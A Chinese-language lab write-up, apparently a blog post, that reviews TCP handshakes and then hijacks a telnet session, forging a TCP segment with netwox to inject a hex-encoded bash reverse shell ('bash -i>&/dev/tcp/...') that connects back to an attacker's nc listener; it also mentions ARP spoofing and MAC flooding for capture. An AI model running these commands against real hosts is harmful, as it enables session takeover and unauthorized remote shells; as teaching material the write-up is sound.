关于TCP劫持攻击并反弹shell

在开始攻击前,复习一下TCP的三次握手和4次挥手。

第1次握手:客户端向服务器发送一个同步数据包请求建立连接,该数据包中,客户端向服务器发送一个SYN数据包,此时的SYN数据包置一,seq是一个随机初始化的序列号,此时确认号为0,进入SYN_SENT状态。

第2次握手,服务器收到SYN数据包,必须确认客户端的SYN,会回复一个ACK表示确认, 并同步自己也发送一个SYN包,此时SYN=1,ACK=1,确认号是第1次握手的序列号加上1,序列号是随机产生的一个值,此时进入SYN_RECV状态。

第3次握手,客户端收到服务器的SYN+ACK,并向服务器发送一个确认包ACK,在该数据包中,序列号是第2次握手中的确认号的值,也就是seq=x+1,确认号是第2次握手的序列号的值再加上1,也就是ack=y+1,客户端和服务器进入ESTABLISHED状态,完成三次握手。

第1次挥手:客户端进程发出连接释放报文,并且停止发送数据。释放数据报文首部,FIN=1,其序列号为seq=u(等于前面已经传送过来的数据的最后一个字节的序号加1),此时,客户端进入FIN-WAIT-1(终止等待1)状态。

第2次挥手: 服务器收到连接释放报文,发出确认报文,ACK=1,ack=u+1,并且带上自己的序列号seq=v,此时,服务端就进入了CLOSE-WAIT(关闭等待)状态。TCP服务器通知高层的应用进程,客户端向服务器的方向就释放了,这时候处于半关闭状态,即客户端已经没有数据要发送了,但是服务器若发送数据,客户端依然要接受。这个状态还要持续一段时间,也就是整个CLOSE-WAIT状态持续的时间。客户端收到服务器的确认请求后,此时,客户端就进入FIN-WAIT-2(终止等待2)状态,等待服务器发送连接释放报文(在这之前还需要接受服务器发送的最后的数据)。

第3次挥手: 服务器将最后的数据发送完毕后,就向客户端发送连接释放报文,FIN=1,ack=u+1,由于在半关闭状态,服务器很可能又发送了一些数据,假定此时的序列号为seq=w,此时,服务器就进入了LAST-ACK(最后确认)状态,等待客户端的确认。

第4次挥手: 客户端收到服务器的连接释放报文后,必须发出确认,ACK=1,ack=w+1,而自己的序列号是seq=u+1,此时,客户端就进入了TIME-WAIT(时间等待)状态。注意此时TCP连接还没有释放,必须经过2∗∗MSL(最长报文段寿命)的时间后,当客户端撤销相应的TCB后,才进入CLOSED状态。服务器只要收到了客户端发出的确认,立即进入CLOSED状态。同样,撤销TCB后,就结束了这次的TCP连接。可以看到,服务器结束TCP连接的时间要比客户端早一些。

对于TCP劫持攻击,思路:
1.黑客获取到客户端与服务端的TCP建立会话
2.观察服务端发给客户端的最后一个TCP报文
3.黑客通过数据包伪造出一个TCP报文,这个报文是客户端回给服务端的TCP数据包。
4.黑客之所以能够伪造数据包进行TCP劫持攻击,是因为黑客知道了下一个期望包的确认号和下一个期望的序列号的值,也就是知道了服务器下一个希望收到客户端的发送包的seq和ack。


攻击思路图


反向shell的注入 就是在TCP劫持攻击的时候将数据换成反向shell的命令;如上图中利用通过会话劫持 取得server和数据server的会话 向数据server 发送给修改后的反向shell数据包,从而使得数据server主动向攻击者建立连接 从而实现破坏。

TCP劫持攻击前提是需要获取到通信双方的TCP流量数据包,如果不知道双方通信所期望数据包的话,就容易形成ack风暴,也就是会用自己期望的序列号返回ACK包,而在另一端,这个数据包也不是自己期望的 ,再次以自己期望的序列号返回ack包,这样的恶性循环,就形成了ack风暴。

所以需要开启ARP欺骗或MAC洪攻击(用于交换机,把交换机打成集线器,这样就失去了学习能力和记忆功能),使得能窃取双方的数据包。

ARP欺骗这里跳过,因为是在kali下搭建的telnet服务。
其中,ssh与telnet的相同点:
两种协议都可以远程登录另一台主机
两种协议都属于基于TCP/IP的协议
ssh与telnet的不同点:
telnet是明文传送;ssh是加密传送,并且支持压缩。
telnet的默认端口号为23;ssh的默认端口号为22.
ssh使用公钥对访问的服务器的用户验证身份,进一步提高的安全性;telnet没有使用公钥。

kali抓取telnet数据包


首先,先将TCP报文的协议首选项中的计算seqnumber的默认选项勾掉,即不让他默认给我们计算,因为这里我们要伪造TCP包,所以不能用wireshark计算后的结果来伪造报文。


三层包


四层包

根据最后一个数据包进行伪造,使用到kali的工具netwox,安装命令apt-get install netwox

配置参数:sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src IP地址 --ip4-dst
IP地址 --tcp-src 源端口 --tcp-dst 目的端口 --tcp-seqnum 数值 --tcp-acknum 数值
–tcp-ack --tcp-psh --tcp-window 227 --tcp-data “注入代码”


伪造最后一个包


实验数据,seq序列号的值和ACK确认号的值


linux系统下的一句话木马

bash -i>&/dev/tcp/192.168.211.130/10000 0>&1

再转换成16进制,还需要在后面加上0d00
0d为\r表示回到首行,00为\n表示换行。

实验攻击代码: sudo netwox 40 --ip4-ttl  64 --ip4-protocol  6 --ip4-src 192.168.211.134 --ip4-dst 192.168.211.133   --tcp-src  48271 --tcp-dst 23  --tcp-seqnum 1853475182 --tcp-acknum 1216288044  --tcp-ack  --tcp-psh --tcp-window 227 --tcp-data  62617368202d693e262f6465762f7463702f3139322e3136382e3231312e3133302f313030303020303e26310d00


实施攻击


nc监听获得反弹shell



观察打击后的两个telnet包,可见是Server发送给数据Server一个数据为 攻击者Kali注入的代码,但是此时,其实是攻击者冒充了Server,对于数据Server来说,他并不知道,因为攻击者Kali将源目IP、源目端口、ACK、SEQ都伪造了,数据Server是无法判断的,数据Server还会给他一个回应,这一旦回应,攻击者Kali直接登录到数据Server上
并且真实的客户端连接的Telnet服务会被断开,从而与攻击者Kali建立连接。


受害者会断开与服务端telnet的TCP连接,此时受害者回车会发送大量的虚假重传包,而服务端Server数据因为被劫持,从而转向与kali攻击者建立连接。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值